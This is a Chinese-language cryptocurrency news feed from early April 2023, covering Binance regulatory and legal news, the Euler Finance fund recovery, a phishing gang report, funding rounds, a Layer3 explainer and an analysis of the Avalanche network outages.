    今日要闻提示： 1.Arbitrum改进提案AIP-1未获投票通过，反对率近77% 2.Kaszek Ventures两支新基金已筹集9.75亿美元，将投资区块链等领域 3.币安否认“国际刑警组织向赵长鹏发出红色通缉令”的传言 4.推特网页Logo变更为狗狗币表情 5.Euler Labs：已追回攻击者盗取的全部资金 6.SPACE ID宣布推出2.0版本，包含礼品卡等四大功能 7.zkSync：部分用户存款失败，将在24小时内部署修复程序 8.数据：币安交易量的全球市场份额在一季度减少16%，降至54% 监管消息 日本金融厅：币安在未经适当注册的情况下开展业务 日本金融厅 (FSA) 表示，加密货币交易所币安（Binance Holdings Limited，代表者Changpeng Zhao）在未经适当注册的情况下在该国开展业务，违反了日本的资金结算规定。 此前报道，日本金融厅对Bybit、MEXC、Bitget和Bitforex四家加密交易所发出警告。 币安否认“国际刑警组织向赵长鹏发出红色通缉令”的传言 针对推特上有关“国际刑警组织向赵长鹏发出红色通缉令”的传言，币安发言人在电子邮件声明中表示，“这个谣言不是真的”。赵长鹏也在推特作出回应，称网上流传的通缉令是PS过的照片，并建议用户屏蔽FUD来源。 币安面临美佛罗里达州“数十万名”投资者的集体诉讼 据Blockworks报道，上周五，由集体诉讼资深律师Adam Moskowitz领导的律师事务所Moskowitz代表“数十万受害者”，对币安、首席执行官赵长鹏以及在佛罗里达州推广该交易所的名人（包括NBA迈阿密热火队球星吉米巴特勒）提起诉讼。Moskowitz也正参与针对FTX和Voyager Digital的集体诉讼。 Moskowitz对此案的诉讼依据集中在《蓝天法》上，该法案是美国各州制定的证券法的统称，用于规范一个区域内的证券交易，以及股票经纪人和投资顾问的注册。Moskowitz表示，币安、FTX和Voyager以及附属个人“都涉嫌出售和推广未注册证券”。法律专家表示，由于加密货币不在全国性证券交易所交易，因此这一资产类别可能会受到国家级监管规定的约束，这为更多未注册的证券诉讼提供了可能。 赵长鹏：近期FUD或由其他交易所赞助传播，行业应团结而非攻击同行 币安首席执行官赵长鹏发推文称：“最新的 FUD只由加密新闻媒体和KOL传播，很可能是由另一个交易所植入/赞助的。这种做法非常小气，伤害了行业，也伤害了他们自己。有足够多的外部力量在攻击我们，我们的行业需要在这个节骨眼上团结起来。” 此前今日早些时候消息，币安否认“国际刑警组织向赵长鹏发出红色通缉令”的传言。 美司法部已扣押涉加密投资骗局价值1.12亿美元的数字资产 美国司法部 (DOJ)在公告中表示，它已扣押了价值1.12亿美元的与加密投资诈骗有关的数字资产。亚利桑那地区、加利福尼亚中区和爱达荷地区的法官授权扣押6个虚拟货币账户。 根据法庭文件，这些虚拟货币账户据称被用于清洗各种加密货币信任诈骗的收益。在相关骗局中，作案者通过社交网络、交友网站、电话、短信等通讯方式逐渐赢得受害人的信任。最终，犯罪者说服他们的目标投资于虚假的加密货币平台，然后再将被盗资金转移到他们自己的地址。 美国司法部指出，2022年，在向联邦调查局互联网犯罪投诉中心(IC3)报告的所有骗局中，投资欺诈造成的损失最高，共计33.1亿美元。涉及加密货币的欺诈，包括杀猪盘，占了这些骗局的大部分，从2021年到去年报告的损失增长了183%，达到25.7亿美元。 NFT 马斯克发布一条附带“SeizeJPGs” NFT图片的推文 在将推特LOGO更改为DOGE狗狗头像之后，马斯克（Elon Musk）又在推特上发布了一张来自Punk 6259推出的Meme Card系列中的“SeizeJPGs” NFT。马斯克的相关举动也推高了DOGE和SeizeJPGs价格，在推特更改LOGO后不久，狗狗币DOGE的价格飙升了近30%，而在这条“SeizeJPGs” 推文发布后的几分钟内，该作品在OpenSea上交易价格就从三天前的0.5 ETH飙升到超过2 ETH，本文撰写时达到2.1 ETH。 今日早些时候消息，推特网页Logo变更为狗狗币表情，狗狗币日内上涨超过20%。 国际足联推出AI驱动的世界杯手游，并拟为该游戏推出NFT市场 据Decrypt报道，国际足球联合会(FIFA)今天推出了AI驱动的世界杯足球手机游戏World Cup AI League的公开测试版，其角色、外观和游戏元素均采用人工智能。 根据一份声明，Web3人工智能公司Altered State Machine开发了这款手机游戏，该游戏目前可在Android上使用，并计划“很快”推出iOS版本。该游戏的公开测试版是其去年11月推出的世界杯预测游戏的扩展迭代。 此外，Altered State发言人透露，它计划在不久的将来为该游戏推出一个NFT市场。届时游戏的角色将被铸造成NFT，并且所有角色都将通过NFT来代表。 元宇宙 Yuga Labs：将启动Otherdeed Expanded NFT铸造，以解锁LOTM等游戏体验 Yuga Labs更新元宇宙平台Otherside的2D策略游戏Legends of the Mara（LOTM）玩法，用户可通过参与Koda“解耦（Decoupling）”和Vessel申领，用户的Otherdeed将被销毁，并将成为Otherdeed Expanded NFT的一部分，新的NFT将转移到用户钱包，这些新收藏是用户通过Otherdeed Expanded解锁游戏体验的关键，包括LOTM游戏。 据介绍，Otherdeed Expanded是可以随时间变化的动态NFT。LOTM游戏两个关键组成部分是Otherside Koda NFT和Otherside Vessel NFT，Koda Decoupling将于本周进行，Vessel申领将于本周晚些时候开放，都将无限期开放。 项目动态 SPACE ID宣布推出2.0版本，包含礼品卡等四大功能 Web3身份平台SPACE ID宣布推出2.0版本，Beta版已成过去。SPACE ID 2.0包含Referral Program、SPACE ID礼品卡、推荐计划（Referral Program）、SPACE ID Voyage Program四大功能。BNB Chain 和 Arbitrum现已支持SPACE ID礼品卡。兑换的积分可用于抵消.bnb或.arb域名注册和延期期间的费用。此外，SPACE ID 2.0市场费用调整为1.5%。 Euler Labs：已追回攻击者盗取的全部资金 Euler Labs在推特上表示，经过成功协商，攻击者已归还3月13日从协议中盗取的所有资金，因为攻击者已归还资金，基金会发起的100万美元悬赏活动将不再接受新信息，详细信息将于明天发布。 此前3月13日消息，借贷协议Euler Finance遭到攻击，损失已达1.97亿美元。 Arbitrum改进提案AIP-1未获投票通过，反对率近77% Snapshot投票页面显示，Arbitrum基金会发起的综合治理包Arbitrum改进提案（AIP-1）投票未获通过，反对票占比达76.67%。 此前消息，Arbitrum基金会在社区强烈反对之下拟将AIP-1提案分解为一系列单独的提案投票，并且承诺将在本周对该提案的每个部分进行重新修改。 韩联社：Do Kwon曾在逃亡期间拒绝美国的司法管辖权 据韩联社报道，经证实，Terraform Labs首席执行官Do Kwon曾在逃跑期间拒绝美国的司法管辖权。 该媒体称，Do Kwon和Terraform Labs曾要求美国最高法院将提交上诉请求的截止日期从去年8月18日推迟30天至10月6日。在提交给美国最高法院的文件中，Kwon的律师提出抗议，称“虽然Terraform是一家新加坡公司，Kwon也是新加坡居民，但第二上诉法院承认了美SEC的属人管辖权。Terraform大部分业务基本上都是全球性的，并不专门针对美国。SEC的行动违反法律，和其他法院的决定也相冲突。” 此外，Kwon的律师还要求延期提交上诉申请，美国最高法院是否真的接受了延期请求，或者Kwon是否真的提出了上诉，目前还没有得到证实。但去年8月中旬，Do Kwon在接受采访时称其已搬至新加坡，并表示会配合韩国检方的调查。9月初，Do Kwon偷偷离开新加坡，经阿联酋迪拜前往塞尔维亚，9月底，国际刑警组织发现其逃亡一事而发出红色通缉令。有人认为，Do Kwon的这些行为系发出“烟雾弹”来确保逃跑所需时间，也可被解读为Do Kwon否认了美国当局的管辖权，意图在未来降低处罚力度。 新网络钓鱼诈骗团队Venom Drainer已从1.5万名加密投资者骗取2700万美元 Web3反诈骗工具Scam Sniffer发文称，作为服务提供商的新骗局Venom Drainer已从1.5万名投资者骗取了2700万美元，前5名受害者损失了1400万美元。目前该骗局已创建530个钓鱼网站，针对Arbitrum、Blur、zkSync、Optimism和MetaMask等170多个项目。 其网络钓鱼方法包括：获取受害者的批准，并在区块链上转移ERC20代币；欺骗用户签署恶意NFT上市，通常具有较低的上市价格。Venom Drainer首次出现在网络钓鱼诈骗团队Monkey Drainer声称下线的公告中，Monkey Drainer在给客户的消息中推荐了Venom Drainer。 zkSync：部分用户存款失败，将在24小时内部署修复程序 zkSync在其官方Discord社区表示，注意到部分用户在zkSync Era网络出现存款失败问题，有部分用户可能会失去他们的gas费，团队正在努力修复，预计将在未来24小时内部署修复程序。 Arbitrum社区发布“将诈骗者列入黑名单并向受害者退款”的新提案 Layer 2网络Arbitrum社区发布了一箱新提案，提议将将诈骗者列入黑名单并将其资金退还给无法领取ARB空投的受害者。为实施该提案，DAO将需要分配资源用于开发报告和黑名单流程，并制定确定退款资格的指南。DAO还需要与其他去中心化金融平台和中心化交易所合作，共享黑名单，防止骗子套现。该提案将需要持续监测和评估，以确保其有效性。 融资消息 Kaszek Ventures两支新基金已筹集9.75亿美元，将投资区块链等领域 据TechCrunch报道，拉丁美洲风投基金Kaszek Ventures通过旗下两支新基金筹集了9.75亿美元，包括5.4亿美元的早期基金Kaszek Ventures VI与4.35亿美元的后期投资工具Kaszek Ventures Opportunity-III (KVO-III)。 Kaszek计划从其早期基金中向（处于种子期、A轮和B轮阶段的）20到30家公司投入资金，投资规模从50万美元到2500万美元不等。其后期投资基金的投资将更加集中，该公司的目标是投资10至15家公司，投资规模在1,000万至5,000万美元之间。 Kaszek投资组合包括区块链、金融科技、企业/SaaS、房地产科技、保险科技、健康科技、教育科技、电子商务、食品科技、气候科技和生物科技等一系列行业的公司。此前曾参投巴西数字银行Nubank、加密交易所Bitso、数字支付平台Kushki等。 沙特公共基金旗下风险投资公司Sanabil披露多项对a16z在内的Web3领域投资 沙特公共基金旗下的风险投资公司Sanabil披露了对近40家美国风险投资公司的投资，其中包括一些深入加密货币、区块链和Web3相关的投资。 包括a16z、Polychain Capital、Griffin Gaming Partners、500 Startups、9Yards、B Capital、Collaborative Fund、Costanoa、Craft Ventures、Dragoneer、Greenoaks Capital、Human Capital、ICONIQ Capital、Insight Partners、KKR、Legend Capital 、Race Capital、Soma Capital、TCV、Techstars、Third Point Venture、Uncorrelated、Valar Ventures、Valor Equity Partners 和 Village Global。但尚未披露对每只基金的具体投资细节。 据悉，Sanabil将50%的资产配置分配给风险投资，30%分配给私募股权，20%分配给流动性投资组合。虽然Sanabil已披露支持对加密货币友好的风险投资公司，但尚不清楚其流动投资组合是否包括数字资产。 加密交易平台Bitget获得Dragonfly 1000万美元战略投资 总部位于旧金山的加密风险投资公司Dragonfly Capital宣布对加密衍生品交易所Bitget进行1000万美元的战略投资。这笔投资将支持Bitget正在进行的全球市场和服务范围的扩张，以及开展更多加密资产相关的公益教育行动。 Bitget的董事总经理Gracy Chen 表示：“Bitget作为过去12个月增长最快的交易所，这项投资是对我们在熊市中专注建设的认可。除了资金上的支持，我们更看重Dragonfly在加密领域的专业和经验。同时，其庞大的投资组合也有助于我们构建覆盖从CeFi到DeFi的加密生态。” 此前消息，Bitget以3亿美元的估值追加投资3000万美元，收购了加密钱包BitKeep的控股权。 矿业消息 比特币矿企Marathon Digital 3月产出825枚BTC，环比增加21% 比特币矿企Marathon Digital发布3月运营更新，该公司在3月产出825枚比特币，环比增加21%；2023年Q1共计产出2195枚BTC。2023年Q1算力增加64%，达到11.5 EH/s。截至2023年3月31日，将不受限制的比特币持有量增加到11,466枚比特币（约3.265亿美元）。 此外，截止3月31日，Marathon运营哈希率已增至11.5 EH/s，较1月1日的7.0 EH/s增加了64%。Marathon于3月偿还了定期贷款并终止了与Silvergate Bank的信贷安排。这些行动将Marathon的债务减少了5000万美元，并将公司的无限制比特币持有量增加了3,132枚BTC。 重要数据 数据：DOGE第五大持有者今日凌晨转出6.5亿枚DOGE，约合6130万美元 Bitinfocharts数据显示，今日凌晨3:48，DOGE的第五大持有者（DDuXGM开头的地址）转出6.5亿枚DOGE （约合6130万美元）。 该地址曾于3月30日转出3.5亿枚DOGE。目前该地址还持有约37.87亿枚DOGE（约合3.69亿美元）。 数据：币安交易量的全球市场份额在一季度减少16%，降至54% 据加密数据公司Kaiko的最新报告，第一季度币安交易量的市场份额减少16%，降至54%。这或系受CFTC对其提起的诉讼和其决定终止零费用交易计划的影响。 此外在美国市场，在整个第一季度，Coinbase 的市场份额从每周平均60%下降到仅49%，而Binance.US的市场份额则从8%增长两倍，达到超过24%。  ( 3 min )
    LayerZero以30亿美元估值完成1.2亿美元B轮融资，a16z与红杉资本等参投
    PANews 4月4日消息，据CoinDesk报道，跨链互操作性协议LayerZero Labs以30亿美元的估值完成1.2亿美元B轮融资，a16z Crypto、佳士得拍卖行、红杉资本、三星 Next、BOND、Circle Ventures 和 OpenSea Ventures 等参投。本轮资金将用于增长计划，包括招聘和扩大公司在亚太地区的业务。 据悉， LayerZero提供互操作性和跨链消息传递基础设施，允许去中心化应用程序 (dApp) 开发人员访问多个区块链，而无需中间人来促进跨链交互。 此前去年3月底，LayerZero Labs完成1.35亿美元A+轮融资，FTX、红杉及a16z领投。  ( 1 min )
    Polyhedra Network完成1500万美元PreA轮融资，Polychain Capital领投
    PANews 4月4日消息，据CoinDesk报道，Polyhedra Network完成1500万美元PreA轮融资，Polychain Capital领投， ABCDE、Sparkle Ventures、HashKey Capital、Foresight Ventures、Kucoin Ventures、NGC Ventures和Arcane Group等参投。据悉，Polyhedra Network是一家提供由零知识 (ZK) 证明支持的Web3基础设施的初创公司，正在构建一套专注于区块链互操作性、可扩展性和隐私的系统。这些系统包括 zkBridge，它促进了跨链资产和数据传输。  ( 1 min )
    Su Zhu等人创办的债权市场OPNX正式上线
    PANews 4月4日消息，三箭资本创始人Su Zhu等人创办的债权市场Open Exchange（OPNX）宣布正式上线。OPNX表示，接下来将向用户支持Celsius、FTX资产索赔。OPNX对破产索赔进行分组，并将其代币化，这些代币化债权可以在订单簿交易平台进行交易。OPNX也允许以破产债权作为抵押品对主要资产进行永续合约交易。  ( 1 min )
    在Layer2大年，寻找Vitalik所说的“专用型”Layer3 及用例
    2023年开年，Layer2热度在久经准备后居高不下，已有人将2023年称为“Layer2”之年。Arbitrum的空投、Coinbase 的进场之外，未被充分消化完成的 Layer 2 注意力纷纷涌进了 StarkNet，Zksync 等已经处于Web3社区视觉中央的 L2 项目中。美联储加息在社媒上造成的声浪，可能都不及前者的三分之一。 在这时，我们后退一步，与市场情势保持距离，从远景中或许可以获得新的启发：什么是“Layer”？在众多扩展方案中，哪些是发生在结构层的变化；又有哪些是功能性的变化，L2 扩容生态系统的成熟意味着结构的固化还是新一轮的调整？ 我们可以从“Layer3”这个概念出发。“Layer3”的概念源自StarkWare，它曾于2021年年末以”分形式扩容“(fractal scaling)为题撰文，将 L3 定义为在 L2 上递归性建造的专用型应用环境层 (application-specific layer)，其中特别强调了递归证明（recursive proofs）在区块链多层架构上的实用，以至有可能延展至不止于L3 (It’s layers all the way down!)。 Layer3 的概念提出一年后，也就是去年年末，Vitalik在一篇新文中提出了 “Layer3” 的三个愿景（原文：https://vitalik.ca/general/2022/09/17/layer_3.html；中文版：https://www.ethereum.cn/Layer2/layer3） L2 用于扩容，L3 用于定制功能，如隐私。这个愿景的 L3 无意于提供“可扩展性平方”；不如说，会有一层堆栈帮助应用程序进行扩展，然后还有一些独立的堆栈层用于满足不同用例定制功能的需求。 L2 用于通用型扩容，L3 用于定制型扩容。定制型扩容可能会有不同的形式：专用型应用可以使用 EVM 以外其他虚拟机来进行计算， rollup 的数据压缩也会围绕定制型应用程序的数据结构进行优化（包括将“数据”从“证明”中分离出来，并使用每个区块中的单个 SNARK 完全替换掉这个区块中所有的交易证明）。 L2 用于去信任扩容（如 rollup），L3 用于弱信任扩容（如 Validium）。Validiums指使用 SNARK 验证计算结果的系统，但是它将数据可用性放在了受信任的第三方或委员会处。在我看来，Validium 被大大低估了：尤其是，运行 Validium 证明生成器并定期提交哈希上链的中心化服务器也许真的可以很好地服务于许多“企业区块链”应用程序。Validium 的安全性指数比 rollup 低，但是相较之下便宜很多。 在接下来的论述中，Vitalik 给出了一个对比图。他认为左图（三层架构）中，专用型应用环境或隐私方案、Validium等子生态系统可以存在于Layer2的rollup之中，也就使得在rollup下一层的跨域操作可以不经由layer1，由此降低操作的费用。对于 ZK rollup 来说，这是一个较好的解决方案，尤其是在平衡 batch 间隔和 gas 费开销上（通过在一个 ZK rollup 中嵌套另一个 ZK rollup，从外层layer向内层进行层层打包证明，无需频繁地向L1提交证明，仅读取L1状态根而无需写入交易）。当然，并不是所有的 Layer2 都需要应用这样的解决方案，也并非仅此一种解决方案可以解决相应问题。针对Optimism这样的 Layer2，由于欺诈证明窗口期的存在，应用 Layer3 在时间和技术上都具备更多的复杂性。 Vitalik 的这篇文章中，对 StarkWare 的架构给予了很高的评价（他的博客文章本身也得到了 StarkWare 团队的意见）。StarkWare 将同心圆最高延伸至L4，除L1为以太坊外，StarkWare自身的生态从L2（公共StarkNet）到L3（应用专用型 StarkNet，rollup 或 validium 的 StarkEx，隐私 StarkNet等），以及L4（同样，隐私 StarkNet 也被归为第四层，它并非一种扩容需求，也不需要被打包至L2的公共 StarkNet 层）。 StarkWare 的生态中，除去自身 StarkEx 和 StarkNet 的集中/分散式服务外，还有一个重要一环，即应用专用型 StarkNet。StarkWare 在近几个月积极扩充自己的生态，并取得了卓有成效的结果： 我们以专注于社交通讯和 Gamefi 的 Web3MQ 作为 App-specific StarkNet 的 Layer 3 一例。 Web3 MQ 在去中心化通讯协议的测试结果中，以目前最快和可扩展性最好等指标相对占据技术上的优势地位（暂未上线主网）。通过在L2上进行结算，Web3 MQ 的代币经济和支付安全得到了有效保障；而自身作为一个独立的、可以分布式运营节点的中继网络，Web3 MQ 为任何想要在其生态上 Buidl 的社交 d/app 或游戏提供了一个用户友好的开发层。Web3 MQ 的子协议 DAppMQ, PushMQ 与 SocialMQ 在不同方面绘制和补全了 Web3 通讯基建版图。在 2023 Q1，Web3 MQ 也会即将上线开放给所有人的测试网。 “Layer3”有时被称为“L2中的L2”，但它并不意味着可扩展性的平方。L1 锁定的是安全，L2 锁定的是可扩展性，而 L3 如果只是单纯进一步扩容，就无需多出一层，因为往往“如果数据可以再次压缩，那么通常有一种方式将第二个压缩器的逻辑放入第一个的逻辑中，只要压缩一次就能让第二个压缩器或跟第一个压缩器相同的效果。”（原文）提出“Layer3”的意义更多在于，仅仅是通用型扩容的 L2 无法满足特定应用类型的需求，而如果让每一个特定应用自行开发属于自己的协议，就失去了基础设施作为公共建造层的意义。 最后，我们可以看到，Web3世界持续在进行新概念的生产：从 Layer1 到 Layer3，从 Defi Summer 到 L2 Summer ，甚至于 Web3 本身也是从 crypto 而来的概念创新。这无疑佐证了这是一个发展极其迅速的行业，每一个概念都会迅速被迅速使用、直至陈旧，而大家迫切需要新的概念以安放潜藏在行业内部的革新冲动。Version背后的命名代表的是一种共识，以“3”为后缀的各类项目代表的是在既有的 Web2 互联网世界未被满足的愿望。而“Layer3”代表的也是一种“Layer2”未满足的新的需求：一个“reminder”，在 Layer2 背后如影随形地等待新的生发点。在 Layer2 已接近夏天时，关注其中所缺少的部分，先行一步关心技术早春，相较于继续参与高温的空投竞争，将会更清凉长久。 Web3 数字花园：Social Infra Insights 文章合集链接  ( 2 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.04.04）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 1 min )
    欧洲加密ETP发行商21Shares推出21Shares Stacks Staking ETP
    PANews 4月4日消息，欧洲加密ETP发行商21Shares宣布推出21Shares Stacks Staking ETP，旨在提供对Stacks的风险投资敞口。Stacks是一个比特币智能合约平台，使开发人员能够在比特币网络上构建智能合约和去中心化应用程序。  ( 1 min )
    沙特公共基金旗下风险投资公司Sanabil披露多项对a16z在内的Web3领域投资
    PANews 4月4日消息，据Blockworks报道，沙特公共基金旗下的风险投资公司Sanabil披露了对近40家美国风险投资公司的投资，其中包括一些深入加密货币、区块链和Web3相关的投资。 包括a16z、Polychain Capital、Griffin Gaming Partners、500 Startups、9Yards、B Capital、Collaborative Fund、Costanoa、Craft Ventures、Dragoneer、Greenoaks Capital、Human Capital、ICONIQ Capital、Insight Partners、KKR、Legend Capital 、Race Capital、Soma Capital、TCV、Techstars、Third Point Venture、Uncorrelated、Valar Ventures、Valor Equity Partners 和 Village Global。但尚未披露对每只基金的具体投资细节。 据悉，Sanabil将50%的资产配置分配给风险投资，30%分配给私募股权，20%分配给流动性投资组合。虽然Sanabil已披露支持对加密货币友好的风险投资公司，但尚不清楚其流动投资组合是否包括数字资产。  ( 1 min )
    时装品牌Ralph Lauren迈阿密新店已支持比特币支付
    PANews 4月4日消息，据推特用户Bitcoin Archive发推称，美国时装品牌拉尔夫·劳伦（Ralph Lauren）位于迈阿密的新店铺现在接受比特币支付。  ( 1 min )
    前有以太坊Layer2，后有MOVE系Layer1，昔日“明星公链”Avalanche真的掉队了吗？
    原文：《Avalanche 升级前夕两次宕机无人关注，昔日“明星公链”为何如此落寞？》 作者：西柚，ChainCatcher 3天内，Avalanche链上出现两次停止出块60分钟以上的状况，原定于3月30日的Cortina升级由于网络不稳问题被延迟至4月6日执行。 众所周知，Avalanche为了提升处理速度和扩展性，其网络核心主要由三部分组成，交易链X-Chain（主要负责创建资产、处理交易）；平台链P-Chain（主要用于节点质押及网络验证）；合作链C-Chain（主要用于智能合约的部署及交互）。 本次两次宕机主要发生在C链上，根据官方工程师后期复盘数据显示，这两次宕机的主要原因是Avalanche在为Cortina升级准备中，操作出现了错误，需要多次升级AvalancheGo节点软件版本来修复，导致一些节点运营商未能及时将其软件更新到最新版本，才导致网络不稳定。 此外，Cortina升级对于Avalanche用户来说意义非凡，因为本次升级将改变Avalanche中X链原有的共识机制，采用与X链、C链相同的雪人共识；届时，Avalanche生态内将实现全链互通。 两次升级前的宕机引发了社区对Avalanche网络稳定性的质疑，但相较于产品和技术更新，Avalanche链上的生态发展的停滞更让人担忧。 连续两次宕机却鲜有人关注，和每次宕机必成焦点的Solana形成极大反差，曾备受关注的“明星公链”为何如此落寞？ 3月23日，Avalanche C链在区块高度为27788298，停止出块134分钟后，恢复正常。 随后，Avalanche联合创始人Kevin Sekniqi在推特上对此回复，是因为AvalancheGo节点发布了v.1.9.14新版本，验证者需要将节点更新到最新版本才能保证网络稳定。但在Avalanche C出块恢复正常后当天，Avalanche X链部分节点仍处于离线状态，每小时只能处理几笔交易，导致交易严重滞后，这使得该链几乎无法使用。 尴尬的是，3月26日，Avalanche C在区块高度为27925928再次出现停止出块的状况，82分钟后又恢复出块。 Avalanche C链2次宕机表 3天时间内，Avalanche发生两次链上停止出块的状况。不过，这两次宕机事件并没有引起太多用户的注意，AVAX币价对此也没有什么反应。但依旧有社区用户担心，Avalanche会不会因为此次网络不稳定导致链上生态项目外流，以及它会不会重演Solana频繁宕机的现象？ 3月29日，Avalanche工程师Stephen Buttolph在博客中表示，Avalanche主网络这两次短暂的不稳定，是因为在为准备Cortina升级期间，错误地重构了X链，需要不断升级节点AvalancheGo版本来进行修复，先是从v1.9.14修改到v1.9.15，但是发现未正确对齐，最终升级到v1.9.16版本，在这期间影响了P链和C链出块稳定性。 他还解释到，3月23日宕机，是由于大量验证器尚未更新到AvalancheGo的最新可用版本，导致节点在以不同的执行规则运行；3月26日停止出块是因为大量验证者状态不一致导致节点无法统一验证。不过，每当有更多的验证器更新到可用的最新版本AvalancheGo，Avalanche网络就恢复了稳定性。 另外，他还补充到，由于Avalanche网络不稳定问题，将会对X链增加额外的测试，原计划再Fuji测试网上的Cortina升级激活时间线将延迟1周。 由此来看，Avalanche链上的不稳定是由于Cortina升级导致的，究竟什么是Avalanche Cortina升级？更新了哪些部分？ 其实，在3月24日，Avalanche官方就宣布Cortina升级相关事宜，原计划定于3月27日在Fuji测试网上发布Avalanche Cortina升级的预发布代码，Cortina升级将于3月30日23:00激活。目前，Cortina升级时间现已更新最新版本，Fuji激活代码将于4月3日发布，Cortina升级将于4月6日在Fuji上激活。 Cortina升级主要包括三部分：更改X链共识为雪人共识（Snowman++）将其线性化；引入批量委托人奖励；提升C链Gas上限。 X链运行雪人共识（Snowman++）将其线性化——在Avalanche公链中，X链采用的是基于DAG（有向无环图）的雪崩共识，可以同时处理多笔交易，而无需排序；但P链和C链及子网都是采用的是Snowman++共识，将以线性方式排列交易。 今年1月份，Avalanche为子网引入Avalanche Warp Messaging（AWM）的通信协议，允许子网之间相互共享数据及加密资产。 但由于共识的不同，X链无法与与AWM集成，无法与子网信息互通。这次Cortina升级将X链共识更改为雪人共识，相当于是将Avalanche全链打通。 引入批量委托人奖励——自Avalanche网络启动以来，验证者会向节点委托人收取服务费，P链在每个委托期间将此费用作为单独的UTXO进行分配给验证者。随着过去几个月网络上委托人数量的大幅增加，截至3月20日达到8万人，验证者可能收到的作为费用的UTXO数量也大幅增加。这意味着验证者最终会得到数以千计的小UTXO，这些UTXO必须聚合起来才能用于任何事情。 Cortina修改了这些委托费用分配方式，将其批量化处理。在Cortina激活后开始质押的所有验证者，委托费用将在节点取消质押时集中分配。 提升C链Gas上限——C链区块的Gas限制从8M增加到15M，区块GAS限制除了可以限制在某个时间段的Gas价格外，还限制了可以在单个区块中发布的交易的复杂性。 提升Gas费限制不但可以调整Gas费的消耗量，还有利于开发人员开始部署更复杂的dApp。 总的来说，Avalanche Cortina升级不但优化了X链，实现了Avalanche生态内全链信息互通，Gas上限的提升还为开发者构建复杂的应用及交易提供了便利。 另外，需要注意的是，在测试网Fuji上成功完成Cortina升级之前，官方将公布Avalanche主网激活时间，并发布官方AvalancheGo最新版本v1.10.0，届时节点运营商也需要将AvalancheGo更新为最新版本，否则，将会影响质押奖励。 相较于产品底层技术的更新变化，用户更易于感知链上生态数据变化。 其实，Avalanche这两次宕机事件，在加密市场上并没有引起太多关注。以至于在3月23日Avalanche C第一次出现停止出块时，Conflux联合创始人Fan Long发推感概“对社区接受区块链网络中断作为常态感到困惑。似乎没有人报道，甚至没有人关心它。我们现在只关注Token的价格吗？”。 在第二次宕机后，还有用户在社交媒体上发文询问，Avalanche在不到3天时间内由于新软件版本中的错误而停止运转两次，我为什么没有看到任何人谈论这件事，如果这发生在Solana上，将会有大量项目外流。有人会因为网络不稳定而离开Avalanche吗？。 不过这些现象也从侧面反映出Avalanche链上用户活跃度不高。 根据DefiLlama数据显示，4月3日，24小时活跃的地址数为25239， Avalanche链上锁仓的加密资产TVL仅为8.36亿美元，自2022年11月以来近半年来一直维持在这个水平，相较于2022年高峰时期的上百亿美元，市值缩水至最高点的十分之一。Avalanche C链日活用户数自去年11月份一直在3万个左右，而在去年链上爆发期每日活账户可达141583 个。 从链上数据来看，Avalanche链上生态发展已进入停滞期 。另外，链上用户活跃度的降低也致使生态原生应用出走寻找新的用户增长点及新机会。近日在Arbitrum上大方光彩的GMX、Trader Joe等平台最初都来源于Avalanche链，近日Trader Joe在Arbitrum链上TVL已增至2890万美元，与Avalanche链上的2989万美元TVL不相上下。 除生态应用的流失外，Avalanche的竞争对手越来多，不仅有同一时期的BSC、Solana、Polygon、Fantom等同类竞品，还有专注于高性能的Aptos、Sui等新生公链，以及正在热度上的Arbitrum、Optimism等Layer2层公链。 Avalanche开发商Ava Labs创始人Emin Gün Sirer在3月25日的采访中表示，近年来，加密生态系统中涌现出许多L1区块链，从现在起3到五5年内，大量的L1区块链将“被淘汰”。他认为，已经有太多的L1基本上是在抄袭其他人的剧本，向市场带来了市场不需要的东西。报道中，并没有提到Avalanche近期停止出块的事件。 Avalanche要如何才能不被市场淘汰，从这些公链中长期占据一席之位呢？如今的公链发展已经不单是技术上的比拼，还需要比较链上生态是否繁荣、及项目方运营能力能否打造自己的专属特色。比如，同一时期的Polygon已经从一个侧链进化为ZK扩容方案聚合器，星巴克、迪士尼等传统企业发行NFT的首选合作方。 从Avalanche公开动作来看，它已经在开始探索除DeFi等应用生态以外的新使用场景，包括NFT及与传统企业的合作。 3月30日，Avalanche 基金会启动NFT计划Avaissance，旨在通过专门的指导、财务支持和DAO组织管理来推动Avalanche NFT生态系统的发展。此外，今年1月份，电商平台Shopify支持平台上线上商家直接出售和铸造Avalanche链上NFT，电竞平台TSM与Avalanche合作为玩家解锁Web3体验等等。 不过，从链上数据及市场用户反应来看，这些动作目前还没有给Avalanche带来立竿见影的效果。对此现象，也有用户表示，Avalanche有自己的发展步调，其链上生态发展的已经相对完整，且开发也一直也在进行中，只是声势不如Aptos及Layer2等新公链而已。相较于Layer2这些新生公链，Avalanche这些老牌公链已经经历过长时间的安全考验，等热度过后，开发者还是会回来部署的。  ( 2 min )
    音乐NFT平台OneOf收购了区块链奖励公司Tap Network
    PANews 4月4日消息，据CoinDesk报道，音乐NFT平台OneOf宣布收购了区块链奖励工具Tap Network，旨在帮助公司在Web3 中与其消费者建立联系。OneOf将推出OnePlatform，这是一个turnkey选项，适用于希望扩展到Web3的公司，结合了电子商务、数据和忠诚度计划的元素。据悉，Tap Network成立于2018年，允许消费者用忠诚度积分兑换加密货币，它已与互联网浏览器Brave、打车公司Uber、娱乐公司华纳音乐集团等公司建立了合作关系。  ( 1 min )
    巴西投行BTG Pactual将推出美元稳定币BTG Dol
    PANews 4月4日消息，据路透社报道，巴西投资银行BTG Pactual周二表示，将推出一种1:1锚定美元的稳定币“BTG Dol”。BTG Dol将上线该银行旗下的加密资产平台Mynt，以及可以通过BTG Pactual自己的投资系统访问。BTG表示，该资产是寻求将其投资组合“美元化”的投资者的新工具，并补充说，它将为该资产提供“完整的安全框架，如尽职调查、反洗钱和合规流程。”  ( 1 min )
    Aave社区发起将Aave V3部署至BNB Chain的ARFC提案
    PANews 4月4日消息， Aave社区发起将Aave V3部署至BNB Chain的ARFC提案。提案指出，经Aave社区批准后，Aave V3将部署在BNB Chain上，并选择合适的资产作为抵押品，包括BNB、WBTC、BETH、WETH、USDC和USDT。此部署旨在加强Aave和BNB Chain社区之间的发展和协作，为两个生态系统提供新的机会。  ( 1 min )
    DappRadar一季度Dapp研报：DeFi TVL超过830 亿美元，Layer2虹吸效应明显
